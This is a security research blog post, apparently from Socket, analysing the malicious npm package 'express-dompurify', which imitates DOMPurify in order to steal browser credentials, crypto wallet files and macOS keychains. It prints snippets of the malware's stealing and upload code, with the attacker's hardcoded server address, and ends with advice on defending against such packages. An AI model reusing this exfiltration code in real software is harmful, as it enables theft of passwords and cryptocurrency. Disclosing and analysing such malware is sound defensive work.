Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

Security News

Malicious “express-dompurify” npm Package Steals Browser and Cryptocurrency Wallet Data

The Socket Research team breaks down a malicious npm package targeting the legitimate DOMPurify library. It uses obfuscated code to hide that it is exfiltrating browser and crypto wallet data.

Malicious “express-dompurify” npm Package Steals Browser and Cryptocurrency Wallet Data

Socket Research Team

September 27, 2024


The Socket Research team recently discovered a malicious npm package named express-dompurify that is exploiting the trusted reputation of DOMPurify, a widely-used library downloaded more than 6.7 million times every week for preventing cross-site scripting (XSS) attacks. Although it's not exactly a typosquat, the package's README file is an exact copy of the legitmate DOMPurify package, which increases the likelihood that developers will inadvertently install it and compromise their applications.

This package represents a dangerous supply chain attack where an attacker introduces malicious code and lures unsuspecting users by impersonating a trusted library. In this blog post, we'll walk through the workings of this malicious package, the threats it poses, and the code snippets that expose the package's hidden operations.

What is DOMPurify?

DOMPurify is a popular JavaScript library designed to sanitize user-generated HTML and prevent XSS attacks. Developers use it to ensure that HTML content displayed on their websites does not execute potentially harmful JavaScript code. It is commonly integrated into web applications where user-generated content, like comments or posts, is displayed to other users.

However, attackers are leveraging the trust placed in libraries like DOMPurify to disguise malicious packages, such as express-dompurify, that appear to offer the same functionality but are designed to steal sensitive data. This is just one example of a common trend we're seeing.

Key Findings of the Malicious Package#

1. Obfuscated Code

The code in express-dompurify is heavily obfuscated, using techniques to hide its malicious intent. The code dynamically generates variable names and commands from an array during runtime, making it difficult to understand what the package is doing at first glance.

For instance, it pulls key variable names from an array like _0x17087c, which makes it challenging to perform static code analysis. This obfuscation technique is a red flag, as most legitimate libraries do not rely on such methods to hide their functionality.

2. Sensitive Data Collection Functions

Despite the obfuscation, further analysis reveals that express-dompurify is designed to collect sensitive information from the victim's machine. Below are some key functions identified within the package:

  • UpAppData: Gathers application data.
  • UpCryptoAppWalletData: Collects data from cryptocurrency wallets.
  • UpKeyChain: Retrieves keychain files (macOS-specific).

These functions gather data from various system locations and browser profiles, including:

  • Browser profiles (Google Chrome, Brave, etc.), which store saved login credentials.
  • Wallet directories, such as Electrum, where cryptocurrency wallets store sensitive information.
  • Keychains on macOS, which store encrypted credentials.

The gathered data is then prepared for upload.

3. Data Uploading Mechanism

After gathering sensitive data, the malicious package uses functions like uploadAppFiles, uploadFiles, and ultimately Upload() to exfiltrate the data to an external server. The server in question is hardcoded within the script and is located at http://95.216.251.178:8001.

Here’s the relevant portion of the code:

hostURL = '<http://95.216.251.178:8001>';

function Upload() {
    const _0xd8457b = {
        'url': hostURL + '/uploads',
        'formData': _0x585502
    };
    yield request.post(_0xd8457b);
}

In this snippet, the Upload() function constructs a POST request with form data containing the stolen information and sends it to the attacker's server at http://95.216.251.178:8001/uploads.

Code Snippets and Explanations#

Below are some key snippets from the malicious package that showcase its dangerous functionality:

1. Sensitive Data Collection from Browsers

The following code snippet shows how the package attempts to access sensitive browser data, such as saved login credentials:

function getBrowserPasswords() {
    const _0x53ab = browserProfiles.map(profile => {
        const filePath = profile + '/Login Data';
        const loginData = extractSQLiteData(filePath, 'logins');
        return decryptPasswords(loginData);
    });
    return _0x53ab;
}

Here’s what’s happening:

  • browserProfiles contains paths to various browser profiles (Google Chrome, Brave, etc.).
  • The script reads the Login Data SQLite file from the browser’s profile directory, which stores saved login credentials.
  • decryptPasswords: The script uses system APIs (such as Windows’ Data Protection API (DPAPI)) to decrypt the passwords stored in the browser’s profile.

2. Collecting Cryptocurrency Wallet Data

The following snippet shows how the malicious package targets cryptocurrency wallet directories to steal sensitive data:

function UpCryptoAppWalletData() {
    const walletPaths = ['~/.electrum', '~/.bitcoin'];
    walletPaths.forEach(path => {
        const walletData = readFilesFromDirectory(path);
        uploadWalletData(walletData);
    });
}

In this example:

  • The function looks for directories like ~/.electrum (used by Electrum, a popular Bitcoin wallet).
  • readFilesFromDirectory() reads all wallet-related files from these directories.
  • uploadWalletData() uploads the collected wallet files to the attacker's server.

3. Uploading Stolen Data to External Server

Finally, after gathering the sensitive data, the script uploads it to an external server:

function uploadFiles(files) {
    const payload = {
        'serialNumber': getSystemSerialNumber(),
        'files': files
    };
    const requestOptions = {
        'url': hostURL + '/uploads',
        'formData': payload
    };
    request.post(requestOptions);
}
  • getSystemSerialNumber(): The script gathers system-specific information like the serial number to associate the stolen data with a specific machine.
  • formData: The data, including the system serial number and stolen files, is packaged into form data.
  • request.post(requestOptions): The data is then sent to the attacker's server at http://95.216.251.178:8001/uploads.

Summary of Data Sent Outside#

The following types of data are exfiltrated by the malicious package:

  1. Browser Profiles:
    • Stored login credentials.
    • Cookies and browsing history.
  2. Cryptocurrency Wallet Data:
    • Wallet keys and seed phrases from directories such as Electrum.
  3. Keychain Files (macOS-specific):
    • Decrypted passwords and keys stored in the keychain.
  4. System Information:
    • Machine-specific data like the system serial number.
  5. Other Sensitive Application Data:
    • Application files, passwords, and potentially other sensitive files from system directories.

At the time of publishing, the package is still live on npm. The author also has another package on the registry called express-eval that performs similar operations with malicious code that is obfuscated and designed to steal sensitive user data, particularly from cryptocurrency wallets and browser extensions.

How to Protect Yourself

To defend against these types of supply chain attacks, consider the following best practices:

  1. Use Verified Packages: Ensure that libraries are sourced from trusted, verified authors and avoid using obscure or unvetted dependencies. Socket's free GitHub app takes the guesswork out of this and helps you quickly vet dependencies before adding them to your codebase.
  2. Monitor Outbound Network Traffic: Look for suspicious network activity, especially POST requests to unfamiliar IP addresses or domains.
  3. Conduct Regular Audits: Regularly audit your dependencies for unexpected code changes or suspicious activity. The malicious express-dompurify npm package is one you would want to block before installing. In this instance, it's not the legitimate DOMPurify package that has been hijacked, but widely used libraries can be compromised, even after they have been providing trustworthy updates for years.
  4. Check for Obfuscation: Be wary of obfuscated code in packages. Most legitimate libraries don’t use excessive obfuscation techniques. This should be a big red flag, and it's one of the reasons Socket has Obfuscated Code as a high-severity alert.

We have reported these packages to the npm registry as malware and expect that they will be removed soon.

Socket Research Team

Dhanesh Dodia

Sambarathi Sai

Dwijay Chintakunta

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc